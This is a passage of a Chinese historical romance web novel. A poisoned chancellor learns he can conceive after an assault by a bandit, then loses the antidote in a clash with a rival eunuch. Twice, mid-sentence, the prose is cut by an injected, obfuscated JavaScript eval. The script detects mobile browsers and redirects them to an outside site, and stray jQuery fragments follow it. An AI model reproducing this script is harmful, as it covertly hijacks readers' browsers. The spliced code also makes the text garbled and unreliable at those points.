“哎呦,好,好。”老|鸨回过神来,戏谑着说,“公子如此好相貌和气度,我还以为是哪里来的贵客呢,没想到来了是找芸娘那个泼辣货,可惜了啧啧。”
“老虔婆!再在我背后说我坏话,改明儿撕烂你的嘴!”一个身材高挑、云鬓斜插、容貌姣好约摸二十大几的女子从门口扭着腰走了出来。
待看见陆峥安后,她挑了挑细柳一样的眉,往他身后看去:“怎么是你,那呆子没来?”
陆峥安从马上取下一个木制首饰盒,扔到她怀中,“胡斯给你的。他生病了,让我来给你知会一声,让你晚上不用等他。”
芸娘捏紧了首饰盒,眼里藏不住的关切:“他怎么病了?病的很严重么?有没有事?”
“小风寒,没多大事。”
然后再次脚踏马镫,行云流水地挥鞭,不再废话:“走了。”
“哎别走啊俊弟弟。”芸娘在后面拉住了他的马缰,待他垂眸瞥过来时,她细长的狐狸眼促狭弯起来,“怎么,怕我吃了你不成?我芸娘半老徐娘你看不上,这香云楼有的是漂亮乖顺、知情知性的乖妹妹,不进来看看?”
她又凑近了,压低声音说:“再说,你这每次来都只传个话却不进来,上次我们香云楼的花魁苏妹妹请你进去坐坐你都不肯赏脸,现在整个香云楼都在传,你陆大公子是不是不行呢……”
“滚蛋。”陆峥安骂了一声,一只手大喇喇握着马鞭支在腿上,用马鞭长柄挥开芸娘拉着他衣袖的手,嘴角勾起一抹似笑非笑的弧度,眉梢眼角邪气四溢,“爷行不行,轮不到她们去猜,爷是太行,怕她们招架不住。”
说完,“架——”地一声,在芸娘的目瞪口呆中,挥鞭扬尘而去。
良久后,她在原地噗嗤一笑:“真是个土匪头子。”
……
传完信后,陆峥安便去了一趟镖局,这个镖局是他办的,平时他们除了打猎、主要靠着这个镖局给一些商户送镖维持生计,年前镖局说不上忙,他去看了几眼交代了几件事就走了。
本打算骑马回去,可在路过赌坊的时候却不免手痒了一下,这段时间太忙,他已经有两个月没摸过牌,栓好马绳后进去玩了个够本出来了。
可心头的烦闷和焦躁,却并没有随之消退一分一毫,反而随着某种不可言说的冲动和渴望,让他像爬满了蚂蚁一样,心痒难耐。
走过路口遇到一个牵着一匹红棕高马的蕃子拉着他问他买不买马。
他没搭理。
那人却说:“壮士你可别小瞧我的这匹宝马,它正值壮年,全身毛发油亮光滑,颜色是如火般的烈红色,勇猛异常,堪比那吕布的赤兔也不为过。有了它,从栾安县到景都,平日三日的距离,现在只需一日就可以赶到。”
陆峥安刚准备走的脚步顿住,又问他:“你刚刚说有了它从栾安县到景都,最快可几日到?”
“一日即可。”
彼时正午阳光正盛,照的他眼睛微微眯起,澄澈的桃花眼闪着细碎的光,似乎要越过重重积雪的山头,望向心头的远方。
从这到景都。
三百余里的距离。
一日即到。
真的吗?
心像是被羽毛在搔,痒的他发麻。
失神之间,旁边有人撞了他一下。
等他反应过来的时候,身边刚刚卖马的人像是凭空消失一样,连人带马瞬息没了踪影。
他神色一变,摸了摸衣袖内里。
一直随身戴着的玉佩不见了!
7. 诊脉
和之前上朝的情况大致差不多,主要还是围绕沈卿钰此番剿匪、找回丢失的军械展开的。
重重纱帘之下,泰和帝的面容掩映在其中,模糊不清让人看不清他脸上的神色,似乎是卧在龙塌之上,期间寿熹跟在旁边伺候,间或有咳嗽声传出,一向威严沉稳的帝王,声音带上了浓浓的疲倦。
泰和帝摆摆手,寿熹便上前一步,示意大殿上最前方的沈卿钰接旨。
“闻沈爱卿剿匪得胜归来,念卿惩恶扬善,勤国济民,世之大义,据地方布政司所奏,沈爱卿所到之处,求治历民、端重循良,朕心甚慰,特赏黄金百两、锦缎千匹,以彰其功,嘉尔冠荣,永锡天宠。钦此!”
沈卿钰摊开衣摆,恭敬跪下,双手呈上,垂下眼睫:“臣沈卿钰接旨,隆恩浩荡,不胜感激。”
……
一切结束后,众大臣熙熙攘攘地走出玄武殿,沈卿钰忧心文渊阁的诸多累牍便欲前往文渊阁,转眼看到寿熹朝自己走了过来。
寿熹是如今的掌印太监,是从当今圣上还是王爷的时候就跟在身边伺候的,现在执掌内书堂,宫中大小事务都归他管,平时皇帝旨意也是由他颁布直接发放到文渊阁的。
寿熹拱着手,热络地寒暄:“恭喜沈大人此番平安归来。”
沈卿钰点过头后,问道:“陛下圣体可还安好?”
寿熹满面愁容:“老毛病了,太医刚来看过都说是头风病,吹不得风天气一凉便会犯病。”
然后对沈卿钰笑道:“陛下和殿下的意思是,连日文渊阁案牍所积甚多,事务也繁杂,沈大人刚回景都,领完赏便不若先行回去,待休整之后,再来处理也不迟。”
却看沈卿钰眉头微微蹙起,冰雪一样的脸上似隔了重重薄雾般让人看不清,便知殿下交代他的事今天怕是完不成了。
果然,下一刻:
“烦公公告诉陛下,臣身体无恙不觉劳累,文渊阁诸事已积冗甚多,今日臣便一同处理,届时整理成册,一一供陛下审阅。”
寿熹轻笑一声,点了点头,“那如此便有劳大人了,大雪漫天,文渊阁空荡寒冷,殿下忧心您会感染风寒,特着宫人提前用炭火暖好宫殿,如此您可舒心不少,咱家内务那边还有事就先走一步。沈大人千万别累着,若有要紧事可唤傅荧随时叫我。”
说完便离开了。
沈卿钰眉宇凝结,沉默许久,并未说话。
没过多纠结,便朝着文渊阁走去。
净手后,沈卿钰叫来内阁剩下的三位阁臣,听完六部各尚书侍郎的汇报和积累的奏疏后,他便坐在案前开始一件件处理公务了。
期间他除了早上那碗羊奶,就只吃过案几上的几块糕点,忙的根本头不着地,还是户部侍郎韩修远看他太忙,捎随侍从宫里四合义做了几个清淡的饭菜端过来给他吃。
但沈卿钰却无暇拿起筷子去吃,等到饭菜都凉了他才得空,只从中挑了个酥饼吃了两口,点燃阁里的油灯,继续检阅六部的奏疏。
景都的冬天比先前在落霞山的时候还要冷,文渊阁内的诸多炭火业已燃尽沈卿钰让他们不必再添。
临近亥时空荡荡的文渊阁只有丝丝缕缕的烛火点燃,远不敌刺骨的寒风。
沈卿钰裹紧了身上的银白大氅,偶尔呼出的气都能凝结成为白雾,执笔的手指指尖泛着胭脂一样的红,曲张之间有些许僵硬。
子时的时候,在外候着的阿林才等到眼下布满乌青、神态疲惫的沈卿钰。
沈卿钰上了马车之后,刚坐下。
腹部一股钻心般的剧痛从脊椎到胸腔,传遍了四肢百骸,尾椎的阵阵麻意甚至震的他头脑一阵空白。
他刚想拿过案几桌上的茶杯喝一口,手却瞬间因为尖锐的疼痛而失力,杯盏“哗啦啦——”地声音倒了一地。
“大人?您怎么了?”
马车外赶马的阿林听到这动静,顿时停下了马鞭,连忙掀开轿帘看他,随即便一眼愣住。
“大人您……”
只见那霜雪一样的人紧紧攥着木桌边缘,枕在手上的头垂着看不清他脸上的神色,只看到那光洁的额头上布满黄豆大小的汗珠,鬓发都沾湿了,咬牙切齿、带着痛苦的声音从那清冷的人嘴里传出:
“阿林,立刻,去办两件事。第一,让侍卫立马去请段大夫来沈府,此事不能让任何人知道;第二,速速回府,快马加鞭!回府之后让段大夫进我卧房,其他人一律不准靠近!”
收到命令的阿林重重点头:“是!大人!”
待他出去后,沈卿钰蜷缩着捂住剧痛难忍的腹部,绯-红的后腰衣摆被汗水全部湿透,上面绣的鹤就像被折断了羽翼的孤鸟。
……
回到沈府后,在阿牧关切的眼神中他什么话都没说,只是让他将门紧紧关上出去,然后坐在了卧房的案边,扶着冰凉一片的额头,心中思虑万千。
他心里清楚,此次身体有恙,大概率和之前中的醉生梦死有关,心如擂鼓般跳动,本就身体不适,再加上心里的不安和公事繁忙的疲倦,让他有颇有些精疲力尽。
大约过了一个时辰左右,等段白月推开卧房进来的时候,发现他已经撑着手在案边睡着了。
但仅仅只是阖眼了片刻,段白月一推开门他就被惊醒了。
“子瑜,阿林说你身体有恙,可是此前余毒未消?”
来之前他便听阿林说过沈卿钰剿匪中毒的事,但此前朝廷的太医都去看过说没事,病案他也亲自看过不是什么大问题,他又在忙顾太师的病抽不出空,便想等沈卿钰这段时间忙过后他再过来仔细替他检查一下,没想到现在被突然叫过来,脸上不免添上一分担心。
沈卿钰睁开眼,看向面前来人。
青年约摸二十来岁,长相清秀,一双眼睛明亮出彩,眉间凝着一种照见天下、慈悲悯人的柔和;唯独腰间别着的紫青葫芦万年不变,松松垮垮地坠在腰间。
由于风风火火地赶过来,此刻身上只简单搭了一件素色外袍,还有清晨的晨露沾在他衣袖间。
“夜深唤你,扰你清梦了。”
“你我之间还讲这个?先让我诊一下脉。”
见到他满是疲惫,段白月敛了敛神,上前将手搭在他脉上,仔细查探着情况。
沈卿钰看着面前人的表情,从刚开始的平静渐渐转变为一片紧张,最后骤然瞪大眼睛愕然失色,似乎有极为离奇、超出他认知的事情发生了。
片刻后,段白月抬头看向他,眼里满是震惊和欲言又止。
他嗫嚅着唇似乎不知道如何开口。
“但说无妨。”
沈卿钰敛起眉宇,开口道。
“子瑜,先前你在黑风寨是怎么中的毒,可以再跟我仔细说一遍吗?”
沈卿钰垂眸,将先前黑风寨剿匪中毒的事,掩去一些细枝末节的事,和他说了。
“那毒老鬼太过阴毒!”段白月一拍桌子,语气十分忿然,“竟给你下这种下三滥的药!”
沈卿钰食指蜷缩,微微一曲,克制着情绪问道:“醉生梦死…到底是什么毒,现在是什么情况?你不必瞒我,如实说就好。”
段白月站起身,将腰间的酒壶取下来,喝了一大口后用袖子擦了擦嘴。
——这是他行医多年,面对众多生老病死、药石无医后,养成的喝酒镇定的习惯。
人都说医者仁心,段白月无疑是个合格的大夫,可就是因为太称职、太悲悯,才会在见多了人间疾苦、生离死别后,无法轻易走出来,养成了酗酒的习惯。
当然现在还谈不上生死,只是遇到疑难杂症,他也会喝两口提神。
“醉生梦死这个名字我从未听过,想来是从南疆那边传来的。”他神色不无忧虑,“你的脉象现在十分混乱,原本沉稳有力,现在却紊乱一片,纯阳之脉中陡然生出一股阴脉,现在两股脉互相冲撞,更奇怪的是……在小腹三寸之处,好像陡然生出一块子胞之地来。”
他犹豫地看着沈卿钰,似乎是怕他不懂,于是解释道:“意思就是……你现在的身体,如同女子一般可以孕育子嗣。”
听到最后一句话,原本强撑着镇静的沈卿钰瞳孔骤然震缩,不可置信道:
“你说什么?!……和女子一般孕育子嗣?”
“对。”段白月艰涩地回答他,“虽是天方夜谭,但这件事确实做不得假。”
“这不可能……这怎么可能!”沈卿钰攥紧了桌子边缘,仍然不敢相信,“我是男人!我怎么可能会孕育子嗣!”豆大的汗珠从他脸上滚落下来,竟是一副极为狼狈的样子。
段白月
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025614|162241||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不忍地看着他,脑中快速思考着解决之法,突然一闪而过某个念头。
“事发突然我倒是忘了,虽然我暂时没办法找到这个毒的解药。但若要触发孕育胞胎这种情况,还需与男子交合,才有可能会怀上。”他看着沈卿钰在烛火映照下清冷依稀的脸,用袖子擦了擦自己额头上的汗,松了口气:
“你家中并无小妾通房,又何谈男子娈童?此毒虽诡异,但除了这种倒阳为阴的刁钻问题,于你身体并无其他害处,是以只需清心寡欲一年,等药效过去,你的一切生活皆可如旧,届时……”
还没说完,一道咬牙切齿的声音传来:
“若有呢?”
段白月愣住:“什么?”
沈卿钰几度阖眸,近乎难以启齿道:“若和男子曾有…过呢?”
段白月僵在了原地,他是大夫,他当然明白沈卿钰是什么意思,能让他这样冷清冷性的人特意出言强调的,必然是板上钉钉的事实了。
看他沉默不语,沈卿钰脸色愈来愈苍白,竟一时之间觉得有些扶不住,险些从桌子上滑下去。
段白月连忙扶住他,收敛情绪,冷静分析道:“事非绝对。孕育子嗣讲究阴阳调和、精元相契,这样的事还是很可能不会发生的,这样的巧合不到最后一刻看不出来。”
沈卿钰咬牙:“要多久才能看出来?”
“寻常女子若有身孕只需一个月就能看出来,但你是男子,倒阳为阴,情况特殊,最少要两个月……”
沈卿钰沉默许久。
窗外清辉月色,映照在他如雪一般的脸上。
他道:“如此,便先给我一碗堕胎药吧。”
这是最快的办法。
段白月断然拒绝:“不可!不是我不给你开这个药,实在是你现在身体不宜用如此伤害大的药,如果一不小心导致毒性乱窜,你可能会浑身筋脉逆流,从此沦为一个废人,更有甚者性命难保!”
沈卿钰深呼吸一口气,指节攥的发白,眼眶微红、声音带上了一丝颤抖:“那依你的意思,若真的怀上孽种,我还只能生下来不可了?”
段白月心疼地看着他。
——生为男子,离奇产子,换谁都接受不了,更何况是位高权重、冷傲如霜的沈卿钰?
他了解他,这样的奇耻大辱,比杀了他还让他难受。
他段白月行医数十年,本是个江湖闲散侠客,由于替无辜买药百姓出头,得罪权贵导致被陷害下狱,是当时时任衍州知府的沈卿钰作主,为他寻找证据,才救下他一命,是以沈卿钰于他,可以说有再造之恩。
二人相识五年,此前他从南方来到景都本是受沈卿钰之邀,给顾太师看病,谁料中途竟遇到这样的变故。
他长长地叹息一声。
“子瑜,我当然知道这样的事对你来说意味着什么,以你我之交,我定会竭尽全力替你解决这件事。你给我个时间,终归是毒药,必然有解药,我去南山找我退隐的师傅,我记得他于此道研究颇深,想来可以找出一个万全之策。”
“让你既不用伤身体,也不用采取如此极端的方式。”
后面的话沈卿钰神情恍惚地听完,段白月叫来阿牧,根据这些时日沈卿钰身体可能出现的状况,给他开了点清心静气、祛火安神的药后,让他们定时煎煮给他吃,便回去思考对策了。
等他走后,沈卿钰一直在卧房中枯坐良久。
月色如凉。
沈卿钰握着凉透的杯盏,脑中是段白月的最后一句话:
“事无绝对,到时若真找不到解药,你又不巧真的…,为了你的性命考虑,还是先别轻举妄动,等我想出解决之法……”
阿林端上来的饭他一口没吃。
桌上的茶都凉透了。
沈卿钰摸到怀中一块玉佩。
他走到窗前,随着“砰——”地一声。
那块青龙玉佩被他狠狠砸到了院子泥土中,积雪后才干的泥土还很湿软,玉佩没有碎裂只是被泥土弄脏了些许,孤零零地躺在那里。
阿林看着摔窗关门的沈卿钰,担心地唤他:“沈大人……”
寂静的空气中。
只剩下沈卿钰沉冷的声音:
“拿着我给的画像,通知应天府,全力抓捕一个姓陆的贼寇。”
8. 解药丢失
这边段白月先出发去南山了,沈卿钰还在等抓捕消息。
可消息没等来,却等来一个意料之外的人。
傅荧邀他去浮云楼一聚,说是手里有他这几日苦苦追寻的东西,请他务必前来。
傅荧是在寿熹手下办事的秉笔太监,也是他十岁时便认识的“师弟”,之所以叫师弟,是因为他们曾同受过顾太师的教导,只是后面出了很多事后,沈卿钰便不再和他来往了。
二人于朝政和待人处事上风格截然相反、理念也相悖,长年累月,便成了彼此都看不顺眼厌弃的存在。
沈卿钰这次是孤身前去的。
脱下平时的朝服,他今日只穿一身青色劲装,手持长剑,策马前往。
刚到浮云楼的天云阁,就闻到一阵阵甜腻扑鼻的熏香。
沈卿钰深深皱着眉头,用剑挑开了天云阁的纱帘,抬眸往里看去。
只见重重纱幕掩映之中,软玉锦缎铺就靠窗边的榻上,躺着容资奇佳的一个少年。
他眉眼生的极为姝丽,和沈卿钰的冷若冰霜不同,绚丽的眉梢眼角自带一股阴柔的媚态,额心一点朱砂痣衬得他整张脸在这个珠光宝气的隔间里更加夺目耀眼,此刻他身上裹着一件狐裘,白绒绒的狐狸毛捧着他的脸,就像捧着一颗熠熠发光的明珠一般。
他旁边的案上香烟缭绕、有娇美的侍女跪在他旁边给他捶腿,周围堆积着各种珠宝字画、古董名件。
最引人瞩目的是塌边那立着的屏风,看用料是来自江南巨贾世家李氏所造,极为奢侈稀有,细闻还能闻到一股淡淡的紫檀香的清香味。
珠光宝翠、鸣珂锵玉,不可谓不奢靡。
见他进来,少年的声音慵懒又阴柔,抬起的眸子如琉璃一般璀璨,猫儿一样的声音从他口中发出:“师兄这次来的可真早,倒是小荧失礼,没来得及出门迎接。”
话是这样说,可他懒懒躺榻上的动作却不动分毫。
沈卿钰懒得和他计较他阴阳怪气的称呼,而是直接问道:“解药在哪?”
傅荧却没回他这个问题,他挥手让身边的侍女退下,随侍太监跟着出去并且关上门。
直到这个房间只剩了他们两个人。
他抬起葱白一样的手指,指了指塌边那款紫檀镂雕四季花卉围屏,问沈卿钰:“沈大人觉得我这个屏风怎么样?好看吗?喜欢的话,我送给你?”
沈卿钰冷冷撇了那华丽的屏风一眼,眼里的神色波澜不惊,缓缓吐出几个字:“浮夸艳俗,屏风如人,与你相配。”
“如此劳民伤财之物,你又是从江南织造署那边搜刮了多少?”
“沈卿钰!”傅荧被他尖酸的话气的胸膛上下起伏,用力拍了一下桌子,坐了起来,没忍住骂了,“你别忘了,解药在我手上!你现在这个态度,是想变成不男不女的怪物是吗?”
似乎终于想起这个至关重要的筹码,他不无得意道:“那毒老鬼被我抓到审问的时候,说起这件事,我还以为他还在跟我开玩笑,没想到是真的。”
然后看了眼站着不动如山的沈卿钰,他漂亮的眼里盛满了讥讽和恶意:“先前一直待在顾太师府上的那个大夫不见了,应该是来你府上了吧?我想,我们冷若冰霜、高傲自大的沈首辅,在剿匪那天,应该不仅仅只是中毒而已——”
“傅荧。”话还没说完,就被沈卿钰冷冷打断,“私自扣拿匪患隐瞒不报,越过大理寺擅自动刑,视大棠律法于无物。”
“你是觉得我不会上报圣上参你一笔吗?”
“你!”傅荧顿时僵住,他确实没有告诉圣上,就是为了拿捏住沈卿钰,可却忘了,面前站着的这个人,是连中三元、十六入仕、十八入阁,二十拜相、本朝最年轻的首辅。
更何况他们从小就认识,沈卿钰对自己可谓是了如指掌,无论是读书天赋还是才华智谋,都远远超出自己一大截,就连威望最大的顾太师,都对他青睐有加,将他视为己出。
他要拿捏他,谈何容易?
而且这件事他也没上报寿熹,虽然那个老家伙知不知道这件事并不重要,反正他迟早有一日会将他取而代之。
但这件事要是被多疑敏感的皇上知道了,那他辛辛苦苦坐上的秉笔太监这个位置,就很可能摇摇欲坠了。
是他掉以轻心了。
可这不重要,他敢打赌,沈卿钰绝不会让别人知道毒老鬼在他那,因为那段经历对他而言,无疑是屈辱且不愿提起的存在。
高高在上的沈首辅,怎么会让别人知道自己很可能会变成一个不男不女、可以产子的怪物呢?
他思索着,想到被分派的任务。
收敛了神色,选择率先妥协:“我今日请你来不是和你打嘴仗的,若你觉得我冒犯了你,那我为我刚才的态度向你道个歉。我知道你现在最需要的是什么,我们俩也别一见面就斗气,此番找你是有正事的。”
“毒老鬼说了,这解药用料特殊,当今世上只有这一瓶,如果今日你不能从我这拿到解药,怕是往后一年,你都要承受这些非人的屈辱了。我诚心找你合作,也自然是会把解药给你。只要你答应我办一件事。”
说完后,他停顿了一下,等待沈卿钰的回复。
沈卿钰抬起眸子,问他:“什么事?”
傅荧笑了笑:
“江南那边的收成今年不太好,一些商户找到了织造署,请求提高明年的大米粮价,这样一来稻田的租赁价格就会上涨,他们也可以交给给朝廷更多的税钱,这个票拟你帮我过一下,我就给你解药。”
沈卿钰当然明白,他这个话里的真正意思是什么。
当地商人和地方官府勾结,在收成不好的时候,压榨百姓,提高粮价,以租赁更多私田为盈利点。由于收成不好,很多百姓无粮可吃,便会将手中的田地给低价卖出去,蓄势待发的商家则会趁机低价买入、然后再高价卖出去,几番倒卖,既满足朝廷的征税要求,又可以给这些商家赚取最高的利益。
最终百姓就成了去掉一层皮的无辜受害者,连温饱都解决不了的他们,却要卖掉自己赖以生存的田地,沈卿钰几乎瞬间就可以越过窗边,看到饿殍遍野、尸骨无存、民不聊生的现象。
傅荧自是预料到他的犹疑,便说道:“这件事就算不经过你票拟,陛下那边如果知道,我想他也不会不同意的,毕竟江南的赋税,占着全国赋税的大头,国库空虚,急需这样有效的政策来充盈国库。”
“只是我总觉得,如果这件事可以提前说服你,你不加以阻拦,我想会进行的更顺利一点,也可以解决皇上的担忧,不是么?”
沈卿钰知道,他说的没错。
泰和帝确实不会反驳,他作为离他最近的臣子,从剿匪事后皇帝并不关心那些无辜百姓有没有得到安置,而是更在意丢失了的军械有没有全部找回,和之前的诸多事迹,就可以窥见这个皇帝内心最真实的想法。
——皇帝和太子并没有将天下百姓视为己任。
生民为草,君父不臣。
有时候他会感到一种由心而来的无力感,因为入仕后,他才发现这些,和顾太师从小教他的,太不一样了。
思绪却没有走太远,他回过神来,没有直接回他答应与否,而是问:“我如何得知,你说的是真是假?解药呢?”
傅荧看他不第一时间反驳,颇为惊讶了片刻。
他以为以沈卿钰的性格,肯定会断然拒绝,甚至拂袖而去都是很正常的,可没想到沈卿钰却没说奏疏的事,而是第一时间问解药。
这显然不符合他以前认识的沈卿钰的形象,谁都可能是沽名钓誉之徒,唯独沈卿钰不可能是这样的人。
他动作迟疑地拿出怀里的黑色瓷瓶,示意沈卿钰看:“这上面印着毒老鬼的字,你应该认得吧?”
沈卿钰眼神很好,当然可以看得出来。
傅荧看着他只是静静观察着并不说话,心里不由得疑窦丛生,刚打算将解药收进袖口中。
谁料变故却在瞬息中发生——
一道凌厉的剑光突然闪过,直冲他的手腕而去,他近乎是躲避不及,拿着解药的狐裘袖口都被剑挑破了一大片,手腕上被剑划伤的地方鲜血顿时流了出来。
“喂!沈卿钰!!”
眼见着解药就要被欺身而近的沈卿钰给抢走,手腕上的吃痛却让他做出一个出乎意料的决定——
“砰——”地一声。
瓷瓶在窗外划过一道弧线,随之瞬间坠入湖中的声音响起,傅荧捂着吃痛的手腕连忙去够,却没够着。
身后的人却比自己动作更快,剑被他扔到一旁,一道青色的身影闪过,沈卿钰跨上榻边直接跟着跳了下去。
又是“扑通”一声。
傅荧趴在窗户边往下喊:“沈卿钰你疯了吗!这小苍湖有十尺深,掉下去我可不捞你!”
可回答他的只有湖面上冒起的泡泡。
外面守着的太监侍从听到这动静陆陆续续跑了进来,见到傅荧手上的血迹,都纷纷惊了,正欲演一出哭天抢地的戏码,傅荧却让他们赶紧拿金疮药过来。
扭过身看了好几眼窗外,最终是喊了几个人:“你们几个,去看看下面什么情况。”
可还没等那些人下去,浑身是水的沈卿钰便
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025615|162241||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
走了上来,他用寒潭一样的的眼神凉凉看了眼傅荧,紧抿着唇走到了他塌边。
傅荧被他这个像要吃人的眼神惊得浑身一抖,问道:“你、你捡到解药了吗?”
“闭嘴!”沈卿钰咬牙切齿地低斥一声。
黑色沾着水的瓷瓶被沈卿钰扔到了地毯上,里面除了流出来的湖水,根本是空空如也。
“解药全部融进了湖水之中!”
“哗啦——”,丢在傅荧身旁的剑被他猛然抽走,刺目的剑光刺的傅荧险些失明。
他将剑抵在傅荧眼前,神色冰冷,“告诉我!毒老鬼现在到底在何处?!”
傅荧被吓得一抽,然后神色僵住,含糊道:“我怎么可能告诉你……”
冷冷的声音传来:
“你是觉得我查不到是吗?”
那锋利剑尖又往前一寸,傅荧觉得自己再不说真的会交代在这里,满头大汗道:“他被抓到的时候本就自断一臂时日无多了……没几天就死在了牢里,解药是从他身上搜刮来的,现在还被你……”
闻言,剑光乍动。
那锋利的剑刃堪堪斩断了傅荧几根发丝,沈卿钰的声音冰凉如雪,一向波澜不惊的脸上此刻满脸厉色,眼睛通红,涌现出一股磅礴的杀意来,“傅荧,有时候我真的想杀了你!”
傅荧被他这股气势吓得心虚非常,却要强撑着:“你敢!当街杀人,你还想不想要你这顶乌纱帽了!”
“哼。”
他冷哼一声,用力拔出剑,便朝门外走去。
他的气场如此强大,让房间里一直站着的若干侍从竟无一人敢去拦,都呆若木鸡地杵在远处。
沈卿钰走了片刻,到了门口,却又像是想到什么似的,突然回过头,用讳莫如深、冰冷深沉的目光看着他,缓缓道:“与虎谋皮,当心玩火自焚。”
“江南那笔账,我会和你慢慢算。傅荧,你最好是祈祷,不要让我抓到你。”
等他走后好久,傅荧才反应过来,自己竟然被他吓到了。
而他原本要办的事,竟然完全没办成!解药这个唯一的把柄也没了!
桌上的珍贵名器、鸣珂锵玉,“哗啦啦—”全部被他一把扫到了地上,尽数破碎,全部成了破铜烂铁。
他气的在原地跺脚:“沈卿钰!!你以为我会怕你吗!!我才应该杀了你!!居然敢威胁我!!”
“气死我了!!”
可回答他的,只有窗棂上被剑刺穿的洞,空荡荡地出现在那里。
……
阿牧踌躇着要不要上前,因为自那日沈卿钰从浮云楼回来后,一下朝就把自己闷在房间里喝闷酒,要不就是在院子里练剑,脸上的表情能冻死人。
“玉佩给我,我进去。”
一旁的阿林见不得他这副犹豫不决的样子,一把抢过他手里的玉佩,先行一步敲响了沈卿钰的院子的门,神色严肃,恭敬道:“大人,有要事禀报。”
“进来。”院内很快传来声音。
阿林看见一身劲装的沈卿钰刚刚放下手中的剑,便将玉佩呈递给他:“您先前丢失的贴身玉佩,在栾安县找到了。”
沈卿钰抬起眸,接过他手中的玉佩,问道:“如何找到的?”
阿林却垂下头,神色略有些犹豫。
“我问你,玉佩是怎么找到的?”
沈卿钰又重复了一遍。
“在……在香云楼找到的。”
——香云楼是栾安县最大的青楼。
听到这个地方,沈卿钰瞳孔骤然一缩,随之滔天的愤怒涌现而出,他捏紧玉佩往地上用力一砸:“混账!”
“大、大人……”阿林跪下请罪,“属下办事不力!请大人责罚!”
沈卿钰自然是知道这件事怪不得阿林,他当然也不会因为这件事而迁怒别人。
他摆摆手让阿林出去了并且关上了院子里的门。
望着地上碎成两半的玉佩,修长指骨紧紧攥紧了桌子边缘,胸膛上下剧烈起伏,眼里的冷近乎凝为实质。
这个狂徒未免太过嚣张!先是趁火打劫趁他中毒意识不清狎弄侮辱他,现在竟还拿着他的玉佩招摇过市,在青楼花天酒地买妓寻乐!
将自己轻视至此!着实可恨!
别让他抓到他,不然他一定会让他死的很难看!
而此时他嘴中无耻卑鄙的贼寇,正跃过重重山海,在飞速奔往景都城的路上。
一身黑色劲装的陆峥安在瓦片中足尖轻点。
他的动作矫捷又迅疾,在迷蒙一片的天地中,像是撕开了沉霾的飞雁,彰显出不一样的色彩来。
9. 见面
元宵节这天,首辅府门前停了辆马车,阿林和阿牧正忙着往里面搬东西,院子里时不时传来剑气刺破长空的声音。
一身蓝色劲装的沈卿钰手持长剑,手腕翻飞,漂亮的剑花随之挽起,院中白梅随风旋停在了半空中,而后剑气震荡,如雪花般簌簌落下。
他行步极为讲究章法,长剑在他手中灵活如风,身形本就挺拔的他练起剑来和平日的端庄自持比起来,多了几分行云流水的洒脱。
阿牧呆呆站在门外看了好久。
直到沈卿钰停下动作,视线朝他投过来,他才回过神,恭敬道:“大人,东西已全部备好了。”
然后看着沈卿钰被汗沾湿的衣襟,询问道:“大人可要沐浴?阿林已经给您烧好水了。”
“好,我换身常服便出发。”沈卿钰点点头,提着手中长剑,朝内室走去。
今日是沈卿钰的生辰,以往每年生辰他都是和顾太师一起过的。
自他剿匪归来后,因朝中事务繁忙,一直不得空去拜访顾太师,今日元宵节朝廷休沐,他便让阿林和阿牧准备了一些之前他从民间得来的新鲜玩意和礼物,一起带给师父。
阿牧看着大人离开的背影,在烛火的映照下似乎温暖了不少,心里不由得升起一丝期待。
他知道,在大人心中,顾太师总是不同于其他任何人的存在。
大人性情冷淡,对其他人总有一种若即若离的距离感,像隔着一层薄薄的雾。
唯独对顾太师,无论顾太师说什么,他的态度都会很温顺,言辞也会很和缓,远不像和其他人相处时那样冷漠。
他明白,大人是将顾太师当作亲生父亲一样尊敬的。
每次过生辰的时候,顾太师都会给大人亲手做一大桌好吃的还会给大人精心准备生辰礼,这次肯定也一样。
所以他们想,或许见了太师,没准大人就会高兴起来呢?
这几日大人愈发沉默寡言,一双如墨的眼中好似有化不开的愁绪,藏着无限的心事。
他和阿林看在眼里,急在心中,想要开解大人,但是也知道这也不是他们可以解决的事,所以他们很期待,有顾太师在,大人也许就不会再那么郁郁寡欢了。
沈卿钰沐浴完后,着一袭白衣,站在铜镜前,仔细确认过自己全身的装扮和仪态依旧如常后,然后才放心地拿起手中的剑,便抬步准备唤阿林他们出发了。
——拿着剑主要是预备师父到时可能随时会抽查他的剑术,以备不时之需。
最近身边发了太多事,可他不愿在顾太师面前展露分毫,他知道这个聪慧的老人总是能看出他的情绪变化,但他不想让他担心自己,所以会极力隐藏自己这几日的情绪,在整理好之后,再去见他。
刚准备迈出门,突然屋内的烛火骤然被一阵风给熄灭掉了,随之而来,内室的大门被倏然关上。
沈卿钰皱起眉头,鼻尖骤然传来一股甘冽的青草味,还没等得及他细想这味道为何如此熟悉的时候,身后骤然靠上一个人影来。
他厉喝一声:“谁?!”
“嘘——小点声。”身后一道低沉悦耳的声音从他耳后根刮过来,那个人刻意压低声音道,“我是不介意,但你想让他们都听到吗?首辅大人。”
“装神弄鬼!你到底是谁?!又是如何闯入我府中的?”沈卿钰攥紧了手中的剑柄,朝身后袭去,可剑锋却被那人轻易避开,甚至抓住他的剑刃轻轻一挑,将他的剑轻而易举地夺在手中,不甚在意地丢到一旁案边,说道,“刀剑无眼,玩什么剑啊,当心伤着自己。”
